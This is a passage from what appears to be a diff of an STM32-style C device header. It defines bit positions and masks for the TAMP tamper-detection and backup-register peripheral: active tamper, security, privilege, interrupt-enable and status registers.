TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16U) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24U) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30U) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31U) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0U) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0U) +#define TAMP_ATOR_PRNG_Msk (0xFFUL << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14U) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15U) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8U) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11U) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14U) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17U) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20U) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23U) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26U) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29U) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0U) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15U) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16U) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30U) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31U) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15U) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29U) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30U) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31U) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0U) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1U) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2U) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3U) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4U) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5U) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6U) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7U) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16U) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17U) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18U) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP4IE_Pos (19U) +#define TAMP_IER_ITAMP4IE_Msk (0x1UL << TAMP_IER_ITAMP4IE_Pos) /*!< 0x00080000 */ +#define TAMP_IER_ITAMP4IE TAMP_IER_ITAMP4IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20U) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21U) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22U) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23U) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24U) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26U) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27U) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28U) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk +#define TAMP_IER_ITAMP15IE_Pos (30U) +#define TAMP_IER_ITAMP15IE_Msk (0x1UL << TAMP_IER_ITAMP15IE_Pos) /*!< 0x40000000 */ +#define TAMP_IER_ITAMP15IE TAMP_IER_ITAMP15IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0U) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1U) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2U) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3U) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4U) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5U) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6U) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7U) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16U) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17U) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00020000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18U) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP4F_Pos (19U) +#define TAMP_SR_ITAMP4F_Msk (0x1UL << TAMP_SR_ITAMP4F_Pos) /*!< 0x00080000 */ +#define TAMP_SR_ITAMP4F TAMP_SR_ITAMP4F_Msk +#define TAMP_SR_ITAMP5F_Pos (20U) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21U) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22U) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23U) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24U) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26U) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27U) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28U) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk +#define TAMP_SR_ITAMP15F_Pos (30U) +#define TAMP_SR_ITAMP15F_Msk (0x1UL << TAMP_SR_ITAMP15F_Pos) /*!< 0x40000000 */ +#define TAMP_SR_ITAMP15F TAMP_SR_ITAMP15F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0U) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1U) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2U) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3U) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4U) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5U) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6U) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7U) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16U) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17U) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00020000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18U) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP4MF_Pos (19U) +#define TAMP_MISR_ITAMP4MF_Msk (0x1UL << TAMP_MISR_ITAMP4MF_Pos) /*!< 0x00080000 */ +#define TAMP_MISR_ITAMP4MF TAMP_MISR_ITAMP4MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20U) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21U) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22U) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23U) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24U) +#define TAMP_MISR_ITAMP9MF_Msk 